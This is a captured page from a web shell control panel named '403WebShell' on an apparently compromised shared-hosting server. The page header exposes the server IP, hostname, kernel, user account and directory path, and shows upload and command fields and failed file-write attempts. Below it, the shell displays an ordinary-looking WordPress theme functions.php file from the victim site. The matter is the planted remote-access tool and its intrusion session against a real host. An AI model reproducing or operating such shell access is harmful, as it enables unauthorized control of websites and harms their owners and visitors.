Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.192.89
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/functions/functions.php
<?php

/**
 * [meto_WSH description]
 *
 * @return [type] [description]
 */
function meto_WSH()
{
    return \METO\Includes\Classes\Base::instance();
}

/**
 * [meto_dot description]
 *
 * @param  array $data [description]
 *
 * @return [type]       [description]
 */
function meto_dot($data = array())
{
    $dn = new \METO\Includes\Classes\DotNotation($data);

    return $dn;
}

/**
 * [meto_meta description].
 *
 * @param array $data [description]
 *
 * @return [type] [description]
 */
function meto_meta($key, $id = '')
{
    if (empty($id)) {
        $id = get_the_ID();
    }

    return (get_post_meta($id, $key, true)) ? get_post_meta($id, $key, true) : '';
}

function metoc_app($class = 'base', $instance = true)
{
    $all   = array(
        'base' => '\METO\Includes\Classes\Base',
        'vc'   => '\METO\Includes\Classes\Visual_Composer',
        'ajax' => '\METO\Includes\Classes\Ajax',
    );
    $dn    = meto_dot($all);
    $class = ($dn->get($class)) ? $dn->get($class) : 'base';
    if ($dn->get($class)) {
        if ($instance) {
            return new $dn->get($class);
        } else {
            return $dn->get($classs);
        }
    } else {
        exit(esc_html__('No class found', 'meto'));
    }
}

/**
 * Use front-page.php when Front page displays is set to a static page.
 *
 * @since METO 1.0
 *
 * @param string $template front-page.php.
 *
 * @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
 */
function meto_front_page_template($template)
{
    return is_home() ? '' : $template;
}

add_filter('frontpage_template', 'meto_front_page_template');
if (! function_exists('printr')) {
    function printr($arr)
    {
        echo '<pre>';
        print_r($arr);
        echo '</pre>';
        exit;
    }
}

/**
 * [meto_template_load description]
 *
 * @param  string $template [description]
 * @param  array  $args     [description]
 *
 * @return [type]           [description]
 */
function meto_template_load($templ = '', $args = array())
{
    $template = get_theme_file_path($templ);
    if (file_exists($template)) {
        extract($args);
        unset($args);
        include $template;
    }
}

/**
 * [meto_get_sidebars description]
 *
 * @param  boolean $multi [description].
 *
 * @return [type]         [description]
 */
function meto_get_sidebars($multi = false)
{
    global $wp_registered_sidebars;
    $sidebars = ! ($wp_registered_sidebars) ? get_option('wp_registered_sidebars') : $wp_registered_sidebars;
    if ($multi) {
        $data[] = array( 'value' => '', 'label' => '' );
    }
    foreach ((array) $sidebars as $sidebar) {
        if ($multi) {
            $data[] = array( 'value' => meto_set($sidebar, 'id'), 'label' => meto_set($sidebar, 'name') );
        } else {
            $data[ meto_set($sidebar, 'id') ] = meto_set($sidebar, 'name');
        }
    }

    return $data;
}

add_action('tgmpa_register', 'meto_register_required_plugins');
/**
 * [my_theme_register_required_plugins description]
 *
 * @return void [description]
 */
function meto_register_required_plugins()
{
    $plugins = array(
        array(
            'name'               => esc_html__('METO Plugin', 'meto'),
            'slug'               => 'meto-plugin',
            'source'             => get_template_directory() . '/includes/thirdparty/plugins/meto-plugin.zip',
            'required'           => true,
            'version'                => '1.5',
            'force_deactivation' => false,
            'file_path'          => ABSPATH . 'wp-content/plugins/meto-plugin/meto-plugin.php',
        ),
        array(
            'name'                  => esc_html__('Revolution Slider', 'meto'),
            'slug'                  => 'revslider',
            'source'                  => get_template_directory() . '/includes/thirdparty/plugins/revslider.zip',
            'required'              => true,
            'version'                => '6.6.14',
            'force_activation'      => false,
            'force_deactivation'      => false,
            'external_url'          => get_template_directory() .'/includes/thirdparty/plugins/revslider.zip',
            'file_path'            =>  ABSPATH. 'wp-content/plugins/revslider/revslider.php'
        ),
		array(
		    'name'			=> esc_html__('Ajax Domain Checker', 'meto'),
		    'slug'			=> 'ajax-domain-checker',
		    'required'		=> true,
		),
        array(
            'name'          => esc_html__('Contact Form 7', 'meto'),
            'slug'          => 'contact-form-7',
            'required'      => true,
        ),
        array(
            'name'      => esc_html__('Mailchimp for WordPress', 'meto'),
            'slug'      => 'mailchimp-for-wp',
            'required'  => true,

        ),
        array(
            'name'                  => esc_html__('Woocommerce', 'meto'),
            'slug'                  => 'woocommerce',
            'required'              => true,
        ),
        array(
            'name'     => esc_html__('Elementor', 'meto'),
            'slug'     => 'elementor',
            'required' => true,
        ),
    );
    /*Change this to your theme text domain, used for internationalising strings.*/
    $theme_text_domain = 'meto';
    $config            = array(
        'id'           => 'tgmpa',
        'default_path' => '',
        'menu'         => 'tgmpa-install-plugins',
        'parent_slug'  => 'themes.php',
        'capability'   => 'edit_theme_options',
        'has_notices'  => true,
        'dismissable'  => true,
        'dismiss_msg'  => '',
        'is_automatic' => false,
        'message'      => '',
    );
    METO\Includes\Library\tgmpa($plugins, $config);
}

/**
 * [meto_logo description]
 *
 * @return [type] [description]
 */
function meto_logo($logo_type, $image_logo, $logo_dimension, $logo_text, $logo_typography, $logo_title)
{
    if ($logo_type === 'text') {
        $logo       = $logo_text ? $logo_text : '<span>' . esc_html__('METO', 'meto') . '</span>';
        $logo_style = $logo_typography;
        $logo_the_style  = (meto_set($logo_style, 'font-size')) ? 'font-size:' . meto_set($logo_style, 'font-size') . ';' : '';
        $logo_the_style  .= (meto_set($logo_style, 'font-family')) ? "font-family:'" . meto_set($logo_style, 'font-family') . "';" : '';
        $logo_the_style  .= (meto_set($logo_style, 'font-weight')) ? 'font-weight:' . meto_set($logo_style, 'font-weight') . ';' : '';
        $logo_the_style  .= (meto_set($logo_style, 'line-height')) ? 'line-height:' . meto_set($logo_style, 'line-height') . ';' : '';
        $logo_the_style  .= (meto_set($logo_style, 'color')) ? 'color:' . meto_set($logo_style, 'color') . ';' : '';
        $logo_the_style  .= (meto_set($logo_style, 'letter-spacing')) ? 'letter-spacing:' . meto_set($logo_style, 'letter-spacing') . ';' : '';
        $logo_output       = '<a style="' . $logo_the_style . '" href="' . home_url('/') . '" title="' . $logo_title . '">' . wp_kses($logo, true) . '</a>';
    } else {
        $logo_the_style      = '';
        $logo_image_style = '';
        $logo_image_style .= meto_set($logo_dimension, 'width') ? ' width:' . meto_set($logo_dimension, 'width') . ';' : '';
        $logo_image_style .= meto_set($logo_dimension, 'height') ? ' height:' . (meto_set($logo_dimension, 'height')) . ';' : '';
        if (meto_set($image_logo, 'url')) {
            $logo_output = '<a href="' . home_url('/') . '" title="' . $logo_title . '"><img src="' . esc_url(meto_set($image_logo, 'url')) . '" alt="'.esc_attr__('logo', 'meto').'" style="' . $logo_image_style . '" /></a>';
        } else {
            $logo_output = '<a href="' . esc_url(home_url('/')) . '" title="' . $logo_title . '"><img src="' . get_template_directory_uri() . '/assets/images/logo-2.svg' . '" alt="'.esc_attr__('logo', 'meto').'" style="' . $logo_image_style . '" /></a>';
        }
    }

    return $logo_output;
}

/**
 * [meto_twitter description]
 *
 * @param  string  $post_type [description].
 * @param  boolean $flip      [description].
 *
 * @return [type]             [description]
 */
function meto_twitter($args = array())
{
    $selector = meto_set($args, 'selector');
    $data     = meto_set($args, 'data');
    $count    = meto_set($args, 'count', 3);
    $screen   = meto_set($args, 'screen_name', 'WordPress');
    $settings = array( 'count' => $count, 'screen_name' => $screen );
    ob_start(); ?>
    jQuery(document).ready(function ($) {
    $('<?php echo esc_js($selector); ?>').tweets(<?php echo json_encode($settings); ?>);
    });
    <?php $jsOutput = ob_get_contents();
    ob_end_clean();
    wp_add_inline_script('twitter-tweets', $jsOutput);
}

/**
 * [meto_the_pagination description]
 *
 * @param  array   $args [description].
 * @param  integer $echo [description].
 *
 * @return [type]        [description]
 */
function meto_the_pagination($args = array(), $echo = 1)
{
    global $wp_query;
    $allowed_html = wp_kses_allowed_html('post');
    $default    = array(
        'base'      => str_replace(99999, '%#%', esc_url(get_pagenum_link(99999))),
        'format'    => '?paged=%#%',
        'show_all'  => 'False',
        'current'   => max(1, get_query_var('paged')),
        'total'     => $args,
        'next_text' => '<i class="fa fa-angle-right"></i>',
        'prev_text' => '<i class="fa fa-angle-left"></i>',
        'type'      => 'list',
    );
    $args       = wp_parse_args($args, $default);
    $pagination = '' . str_replace('<ul class=\'page-numbers\'>', '<ul class="pagination">', paginate_links($default)) . '';
    if (paginate_links(array_merge(array( 'type' => 'array' ), $args))) {
        if ($echo) {
            echo wp_kses($pagination, $allowed_html);
        }

        return $pagination;
    }
}

function meto_the_breadcrumb()
{
    global $wp_query;
    $queried_object = get_queried_object();
    $breadcrumb     = '';
    $delimiter      = ' / ';
    $before         = '<li class="breadcrumb-item">';
    $after          = '</li>';
    if (! is_front_page()) {
        $breadcrumb .= $before . '<a href="' . home_url('/') . '">' . esc_html__('Home', 'meto') . ' &nbsp;</a>' . $after;
        /** If category or single post */
        if (is_category()) {
            $cat_obj       = $wp_query->get_queried_object();
            $this_category = get_category($cat_obj->term_id);
            if ($this_category->parent != 0) {
                $parent_category = get_category($this_category->parent);
                $breadcrumb      .= get_category_parents($parent_category, true, $delimiter);
            }
            $breadcrumb .= $before . '<a href="' . get_category_link(get_query_var('cat')) . '">' . single_cat_title('', false) . '</a>' . $after;
        } elseif ($wp_query->is_posts_page) {
            $breadcrumb .= $before . $queried_object->post_title . $after;
        } elseif (is_tax()) {
            $breadcrumb .= $before . '<a href="' . get_term_link($queried_object) . '">' . $queried_object->name . '</a>' . $after;
        } elseif (is_page()) /** If WP pages */ {
            global $post;
            if ($post->post_parent) {
                $anc = get_post_ancestors($post->ID);
                foreach ($anc as $ancestor) {
                    $breadcrumb .= $before . '<a href="' . get_permalink($ancestor) . '">' . get_the_title($ancestor) . ' &nbsp;</a>' . $after;
                }
                $breadcrumb .= $before . '' . get_the_title($post->ID) . '' . $after;
            } else {
                $breadcrumb .= $before . '' . get_the_title() . '' . $after;
            }
        } elseif (is_singular()) {
            if ($category = wp_get_object_terms(get_the_ID(), array( 'category', 'location', 'tax_feature' ))) {
                if (! is_wp_error($category)) {
                    $breadcrumb .= $before . '<a href="' . get_term_link(meto_set($category, '0')) . '">' . meto_set(meto_set($category, '0'), 'name') . '&nbsp;</a>' . $after;
                    $breadcrumb .= $before . '' . get_the_title() . '' . $after;
                } else {
                    $breadcrumb .= $before . '' . get_the_title() . '' . $after;
                }
            } else {
                $breadcrumb .= $before . '' . get_the_title() . '' . $after;
            }
        } elseif (is_tag()) {
            $breadcrumb .= $before . '<a href="' . get_term_link($queried_object) . '">' . single_tag_title('', false) . '</a>' . $after;
        } /**If tag template*/
        elseif (is_day()) {
            $breadcrumb .= $before . '<a href="#">' . esc_html__('Archive for ', 'meto') . get_the_time('F jS, Y') . '</a>' . $after;
        } /** If daily Archives */
        elseif (is_month()) {
            $breadcrumb .= $before . '<a href="' . get_month_link(get_the_time('Y'), get_the_time('m')) . '">' . __('Archive for ', 'meto') . get_the_time('F, Y') . '</a>' . $after;
        } /** If montly Archives */
        elseif (is_year()) {
            $breadcrumb .= $before . '<a href="' . get_year_link(get_the_time('Y')) . '">' . __('Archive for ', 'meto') . get_the_time('Y') . '</a>' . $after;
        } /** If year Archives */
        elseif (is_author()) {
            $breadcrumb .= $before . '<a href="' . esc_url(get_author_posts_url(get_the_author_meta("ID"))) . '">' . __('Archive for ', 'meto') . get_the_author() . '</a>' . $after;
        } /** If author Archives */
        elseif (is_search()) {
            $breadcrumb .= $before . '' . esc_html__('Search Results for ', 'meto') . get_search_query() . '' . $after;
        } /** if search template */
        elseif (is_404()) {
            $breadcrumb .= $before . '' . esc_html__('404 - Not Found', 'meto') . '' . $after;
        /** if search template */
        } elseif (is_post_type_archive('product')) {
            $shop_page_id = wc_get_page_id('shop');
            if (get_option('page_on_front') !== $shop_page_id) {
                $shop_page = get_post($shop_page_id);
                $_name     = wc_get_page_id('shop') ? get_the_title(wc_get_page_id('shop')) : '';
                if (! $_name) {
                    $product_post_type = get_post_type_object('product');
                    $_name             = $product_post_type->labels->singular_name;
                }
                if (is_search()) {
                    $breadcrumb .= $before . '<a href="' . get_post_type_archive_link('product') . '">' . $_name . '</a>' . $delimiter . esc_html__('Search results for &ldquo;', 'meto') . get_search_query() . '&rdquo;' . $after;
                } elseif (is_paged()) {
                    $breadcrumb .= $before . '<a href="' . get_post_type_archive_link('product') . '">' . $_name . '</a>' . $after;
                } else {
                    $breadcrumb .= $before . $_name . $after;
                }
            }
        } else {
            $breadcrumb .= $before . '<a href="' . get_permalink() . '">' . get_the_title() . '</a>' . $after;
        }
        /** Default value */
    }

    return $breadcrumb;
}

function meto_the_title($template)
{
    global $wp_query;
    $queried_object = get_queried_object();
    $title          = '';
    /** If category or single post */
    if ($template == 'category' || $template == 'tag' || $template == 'galleryCat') {
        $current_obj   = $wp_query->get_queried_object();
        $this_category = get_category($current_obj->term_id);
        $title         .= $current_obj->name;
    } elseif (is_home()) {
        $title .= esc_html__('Home Page ', 'meto');
    } elseif ($template == 'page' || $template == 'post' || $template == 'VC' || $template == 'blog' || $template == 'courseDetail' || $template == 'team' || $template == 'services' || $template == 'events' || $template == 'gallery' || $template == 'shop' || $template == 'product') {
        $title .= get_the_title();
    } elseif ($template == 'archive') {
        $title .= esc_html__('Archive for ', 'meto') . get_the_time('F jS, Y');
    } elseif ($template == 'author') {
        $title .= esc_html__('Archive for ', 'meto') . get_the_author();
    } elseif ($template == 'search') {
        $title .= esc_html__('Search Results for ', 'meto') . '"' . get_search_query() . '"';
    } elseif ($template == '404') {
        $title .= esc_html__('404 Page Not Found', 'meto');
    }

    return $title;
}

/**
 * [meto_list_comments description]
 *
 * @param  [type] $comment [description].
 * @param  [type] $args    [description].
 * @param  [type] $depth   [description].
 *
 * @return void          [description]
 */
function meto_list_comments($comment, $args, $depth)
{
    $allowed_html = wp_kses_allowed_html('post');

    wp_enqueue_script('comment-reply');
    $GLOBALS['comment'] = $comment;
    $like               = (int) get_comment_meta($comment->comment_ID, 'like_it', true); ?>

	<div class="meto-comment-box">
        <div class="comment-box">
            <div <?php comment_class('comment'); ?> id="comment-<?php comment_ID(); ?>">
                <?php if (get_avatar($comment)) : ?>
                <div class="author-thumb">
                    <?php echo wp_kses(get_avatar($comment, 100), $allowed_html); ?>
                </div>
                <?php endif; ?>
    
                <div class="comment-info clearfix"><strong><?php echo wp_kses(get_comment_author(), $allowed_html); ?></strong><div class="comment-time"><?php echo get_comment_date('d M Y', get_comment_ID()); ?></div></div>
                <div class="text"><?php comment_text(); ?></div>
                <div class="theme-btn reply-btn">
                    <?php $myclass = 'reply';
                        echo preg_replace('/comment-reply-link/', 'comment-reply-link ' . $myclass, get_comment_reply_link(array_merge($args, array(
                        'depth'      => $depth,
                        'reply_text' => '' . esc_html('Reply', 'meto'),
                        'max_depth'  => $args['max_depth'],
                        ))), 10); 
                    ?>
                </div>
    
            </div>
    	</div>
    <?php
}

/**
 * [comment_form description]
 *
 * @param  array $args [description].
 * @param  [type] $post_id [description].
 *
 * @return void          [description]
 */
function meto_comment_form($args = array(), $post_id = null)
{
    if (null === $post_id) {
        $post_id = get_the_ID();
    }
    $allowed_html = wp_kses_allowed_html('post');
    $commenter     = wp_get_current_commenter();
    $user          = wp_get_current_user();
    $user_identity = $user->exists() ? $user->display_name : '';
    $args          = wp_parse_args($args);
    if (! isset($args['format'])) {
        $args['format'] = current_theme_supports('html5', 'comment-form') ? 'html5' : 'xhtml';
    }
    $req                 = get_option('require_name_email');
    $aria_req            = ($req ? " aria-required='true'" : '');
    $html_req            = ($req ? " required='required'" : '');
    $html5               = 'html5' === $args['format'];
    $comment_field_class = is_user_logged_in() ? 'col-sm-12' : 'col-sm-6';
    $fields              = array(
        'author' => '
        <div class="col-md-12"><div class="row"><div class="col-lg-6 col-md-6 col-sm-12 form-group">
        <input id="author" name="author"  placeholder="' . esc_attr__('Name', 'meto') . '" type="text" class="form-control" value="' . esc_attr($commenter['comment_author']) . '" size="30" maxlength="245"' . $aria_req . $html_req . ' />
        </div>',
        'email'  => '<div class="col-lg-6 col-md-6 col-sm-12 form-group">
        <input id="email" placeholder="' . esc_attr__('Email', 'meto') . '" class="form-control" name="email" ' . ($html5 ? 'type="email"' : 'type="text"') . ' value="' . esc_attr($commenter['comment_author_email']) . '" size="30" maxlength="100"/></div></div></div>',

    );
    $required_text       = sprintf(' ' . esc_html__('%s', 'meto'), '');
    /**
     * Filters the default comment form fields.
     *
     * @since 3.0.0
     *
     * @param array $fields The default comment fields.
     */
    $fields   = apply_filters('comment_form_default_fields', $fields);
    $defaults = array(
        'fields'               => $fields,
        'comment_field'        => '<div class="col-lg-12 col-md-12 col-sm-12 form-group"><textarea  placeholder="' . esc_attr__('Type Comment here', 'meto') . '"  id="comment" name="comment" class="form-control" rows="7"  required="required"></textarea></div>',
        /** This filter is documented in wp-includes/link-template.php */
        'must_log_in'          => '<div class="col-sm-12 col-xs-12"><p class="must-log-in">' . sprintf(
            /* translators: %s: login URL */
                esc_html__('You must be <a href="%s">logged in</a> to post a comment.', 'meto'),
            wp_login_url(apply_filters('the_permalink', get_permalink($post_id)))
            ) . '</p></div>',
        /** This filter is documented in wp-includes/link-template.php */
        'logged_in_as'         => '<p class="col-sm-12 col-xs-12 logged-in-as">' . sprintf(
            /* translators: 1: edit user link, 2: accessibility text, 3: user name, 4: logout URL */
                '<a href="%1$s" aria-label="%2$s">' . esc_html__('Logged in as', 'meto') . ' %3$s</a>. <a href="%4$s">' . esc_html__('Log out?', 'meto') . '</a>',
            get_edit_user_link(),
                /* translators: %s: user name */
                esc_attr(sprintf(esc_html__('Logged in as %s. Edit your profile.', 'meto'), $user_identity)),
            $user_identity,
            wp_logout_url(apply_filters('the_permalink', get_permalink($post_id)))
            ) . '</p>',
        'comment_notes_before' => '',
        'comment_notes_after'  => '',
        'action'               => site_url('/wp-comments-post.php'),
        'id_form'              => 'contact-form',
        'id_submit'            => 'submit',
        'class_form'           => 'default-form',
        'class_submit'         => 'submit',
        'name_submit'          => 'submit',
        'title_reply'          => esc_html__('Leave A Comment', 'meto'),
        'title_reply_to'       => esc_html__('Leave a Reply to %s', 'meto'),
        'title_reply_before'   => '<div class="group-title"><h3>',
        'title_reply_after'    => '</h3></div>',
        'cancel_reply_before'  => ' <small>',
        'cancel_reply_after'   => '</small>',
        'cancel_reply_link'    => esc_html__('Cancel reply', 'meto'),
        'label_submit'         => esc_html__('Leave A Comment', 'meto'),
        'submit_button'        => '<div class="row"><div class="col-lg-12 col-md-12 col-sm-12 form-group"><button name="%1$s" type="submit" id="%2$s" class="%3$s theme-btn btn-style-three" value="%4$s"><span class="txt">Post Comments</span></button></div></div>',
        'submit_field'         => '<div class="btn-send col-sm-12 col-xs-12">%1$s %2$s</div>',
        'format'               => 'xhtml',
    );
    /**
     * Filters the comment form default arguments.
     * Use {@see 'comment_form_default_fields'} to filter the comment fields.
     *
     * @since 3.0.0
     *
     * @param array $defaults The default comment form arguments.
     */
    $args = wp_parse_args($args, apply_filters('comment_form_defaults', $defaults));
    $args = array_merge($defaults, $args);
    if (comments_open($post_id)) : ?>
        <?php
        /**
         * Fires before the comment form.
         *
         * @since 3.0.0
         */
        do_action('comment_form_before'); ?>
        <div id="respond" class="comment-form">
            <?php
            echo wp_kses($args['title_reply_before'], $allowed_html);
    comment_form_title($args['title_reply'], $args['title_reply_to']);
    echo wp_kses($args['cancel_reply_before'], $allowed_html);
    cancel_comment_reply_link($args['cancel_reply_link']);
    echo wp_kses($args['cancel_reply_after'], $allowed_html);
    echo wp_kses($args['title_reply_after'], $allowed_html);
    if (get_option('comment_registration') && ! is_user_logged_in()) :
                echo wp_kses($args['must_log_in'], $allowed_html);
    /**
     * Fires after the HTML-formatted 'must log in after' message in the comment form.
     *
     * @since 3.0.0
     */
    do_action('comment_form_must_log_in_after'); else : ?>
                <form action="<?php echo esc_url($args['action']); ?>" method="post" id="<?php echo esc_attr($args['id_form']); ?>" class="<?php echo esc_attr($args['class_form']); ?> add-comment-form"<?php echo wp_kses($html5, $allowed_html) ? ' novalidate' : ''; ?>>
                    <div class="row">
                        <?php
                        /**
                         * Fires at the top of the comment form, inside the form tag.
                         *
                         * @since 3.0.0
                         */
                        do_action('comment_form_top');
    if (is_user_logged_in()) :
                            /**
                             * Filters the 'logged in' message for the comment form for display.
                             *
                             * @since 3.0.0
                             *
                             * @param string $args_logged_in The logged-in-as HTML-formatted message.
                             * @param array  $commenter      An array containing the comment author's
                             *                               username, email, and URL.
                             * @param string $user_identity  If the commenter is a registered user,
                             *                               the display name, blank otherwise.
                             */
                            echo apply_filters('comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity);
    /**
     * Fires after the is_user_logged_in() check in the comment form.
     *
     * @since 3.0.0
     *
     * @param array  $commenter     An array containing the comment author's
     *                              username, email, and URL.
     * @param string $user_identity If the commenter is a registered user,
     *                              the display name, blank otherwise.
     */
    do_action('comment_form_logged_in_after', $commenter, $user_identity); else :
                            echo wp_kses($args['comment_notes_before'], $allowed_html);
    endif;
    $comment_fields = (array) $args['fields'] + array( 'comment' => $args['comment_field'] );
    /**
     * Filters the comment form fields, including the textarea.
     *
     * @since 4.4.0
     *
     * @param array $comment_fields The comment fields.
     */
    $comment_fields     = apply_filters('comment_form_fields', $comment_fields);
    $comment_field_keys = array_diff(array_keys($comment_fields), array( 'comment' ));
    $first_field        = reset($comment_field_keys);
    $last_field         = end($comment_field_keys); ?>
                        <?php foreach ($comment_fields as $name => $field) {
        if ('comment' === $name) {
            /**
             * Filters the content of the comment textarea field for display.
             *
             * @since 3.0.0
             *
             * @param string $args_comment_field The content of the comment textarea field.
             */
            echo apply_filters('comment_form_field_comment', $field);
            echo wp_kses($args['comment_notes_after'], $allowed_html);
        } elseif (! is_user_logged_in()) {
            if ($first_field === $name) {
                /**
                 * Fires before the comment fields in the comment form, excluding the textarea.
                 *
                 * @since 3.0.0
                 */
                do_action('comment_form_before_fields');
            }
            /**
             * Filters a comment form field for display.
             * The dynamic portion of the filter hook, `$name`, refers to the name
             * of the comment form field. Such as 'author', 'email', or 'url'.
             *
             * @since 3.0.0
             *
             * @param string $field The HTML-formatted output of the comment form field.
             */
            echo apply_filters("comment_form_field_{$name}", $field) . "\n";
            if ($last_field === $name) {
                /**
                 * Fires after the comment fields in the comment form, excluding the textarea.
                 *
                 * @since 3.0.0
                 */
                do_action('comment_form_after_fields');
            }
        }
    } ?>
                        <?php $submit_button = sprintf(
        $args['submit_button'],
        esc_attr($args['name_submit']),
        esc_attr($args['id_submit']),
        esc_attr($args['class_submit']),
        esc_attr($args['label_submit'])
                        );
    /**
     * Filters the submit button for the comment form to display.
     *
     * @since 4.2.0
     *
     * @param string $submit_button HTML markup for the submit button.
     * @param array  $args          Arguments passed to `comment_form()`.
     */
    $submit_button = apply_filters('comment_form_submit_button', $submit_button, $args);
    $submit_field  = sprintf(
        $args['submit_field'],
        $submit_button,
        get_comment_id_fields($post_id)
                        );
    /**
     * Filters the submit field for the comment form to display.
     * The submit field includes the submit button, hidden fields for the
     * comment form, and any wrapper markup.
     *
     * @since 4.2.0
     *
     * @param string $submit_field HTML markup for the submit field.
     * @param array  $args         Arguments passed to comment_form().
     */
    echo apply_filters('comment_form_submit_field', $submit_field, $args);
    /**
     * Fires at the bottom of the comment form, inside the closing </form> tag.
     *
     * @since 1.5.0
     *
     * @param int $post_id The post ID.
     */
    do_action('comment_form', $post_id); ?>
                    </div>
                </form>
            <?php endif; ?>
        </div>
        <?php
        /**
         * Fires after the comment form.
         *
         * @since 3.0.0
         */
        do_action('comment_form_after'); else :
        /**
         * Fires after the comment form if comments are closed.
         *
         * @since 3.0.0
         */
        do_action('comment_form_comments_closed');
    endif;
}

if (! function_exists('meto_filesystem')) {
    /**
     * [fixkar_filesystem description]
     * @return [type] [description]
     */
    function meto_filesystem()
    {
        if (! function_exists('require_filesystem_credentials')) {
            require_once ABSPATH . 'wp-admin/includes/file.php';
        }

        /* you can safely run request_filesystem_credentials() without any issues and don't need to worry about passing in a URL */
        $creds = request_filesystem_credentials(esc_url(home_url('/')), '', false, false, array());

        /* initialize the API */
        if (! WP_Filesystem($creds)) {
            /* any problems and we exit */
            return false;
        }

        global $wp_filesystem;
        /* do our file manipulations below */

        return $wp_filesystem;
    }
}


if (! function_exists('meto_get_server')) {
    function meto_get_server($key = '', $value = '')
    {
        if (function_exists('meto_server')) {
            return meto_server($key, $value);
        }

        return [];
    }
}

function meto_body_classes($classes)
{
    $options = meto_WSH()->option();
    $box    = $options->get('theme_enable_box_version');
    $rtl = $options->get('theme_enable_rtl');

    $classes[] = 'menu-layer';

    if($box) {
        $classes[] .= 'boxed_wrapper';
    }

    if($rtl) {
        $classes[] .= 'rtl';
    }

    return $classes;
}
add_filter('body_class', 'meto_body_classes');

function meto_custom_fonts_load($custom_font)
{
    $custom_style = '';

    $pathinfo = pathinfo($custom_font);

    if ($filename = meto_set($pathinfo, 'filename')) {
        $custom_style .= '@font-face{
            font-family:"'.$filename.'";';
        $extensions = array( 'eot', 'woff', 'woff2', 'ttf', 'svg' );
        $count = 0;
        foreach ($extensions as $extension) {
            $file_path = get_template_directory() . '/assets/css/custom-fonts/' . $filename . '.' . $extension;
            $file_url = get_template_directory_uri() . '/assets/css/custom-fonts/' . $filename . '.' . $extension;

            if (file_exists($file_path)) {
                $format = $extension;
                if ($extension === 'eot') {
                    $format = 'embedded-opentype';
                }
                if ($extension === 'ttf') {
                    $format = 'truetype';
                }
                $terminated = ($count > 0) ? ',' : '';
                $custom_style .= $terminated . 'src:url("'.$file_url.'") format("'.$format.'")';

                $count++;
            }
        }

        $custom_style .= ';}';
    }

    return $custom_style;
}


/**
 * Add Flaticon existing font library
 *
 * @since 0.0.1
 */
if (! function_exists('meto_el_flat_icon')) {
    function meto_el_flat_icon($args)
    {
        $args['flat-icon'] =  [
            'name'          => 'flat-icon',
            'label'         => esc_html__('Flaticons', 'meto'),
            'url'           => get_template_directory_uri() . '/assets/css/flaticon.css',
            'enqueue'       => [ get_template_directory_uri() . '/assets/css/flaticon.css' ],
            'prefix'        => 'flaticon-',
        //'displayPrefix' => 'flaticon',
            'labelIcon'     => 'flaticon-offer',
            'ver'           => '1.0',
            'fetchJson'     => get_template_directory_uri() . '/assets/js/flaticon.js',
            'native'        => true,
        ];
        $args['icomoon'] =  [
            'name'          => 'icomoon',
            'label'         => esc_html__('Icomoon', 'meto'),
            'url'           => get_template_directory_uri() . '/assets/css/icomoon.css',
            'enqueue'       => [ get_template_directory_uri() . '/assets/css/icomoon.css' ],
            'prefix'        => 'icon-',
            'labelIcon'     => 'icon-packs',
            'ver'           => '1.0',
            'fetchJson'     => get_template_directory_uri() . '/assets/js/icomoon.js',
            'native'        => true,
        ];

        return $args;
    }
}
add_filter('elementor/icons_manager/native', 'meto_el_flat_icon');

function meto_trim($text, $len, $more = null)
{
    $text = strip_shortcodes($text);
    $text = apply_filters('the_content', $text);
    $text = str_replace(']]>', ']]&gt;', $text);
    $excerpt_length = apply_filters('excerpt_length', $len);
    $excerpt_more = apply_filters('excerpt_more', ' ' . '[&hellip;]');
    $excerpt_more = ($more) ? $more : ' ...';
    $text = wp_trim_words($text, $excerpt_length, $excerpt_more);
    return $text;
}

Youez - 2016 - github.com/yon3zu
LinuXploit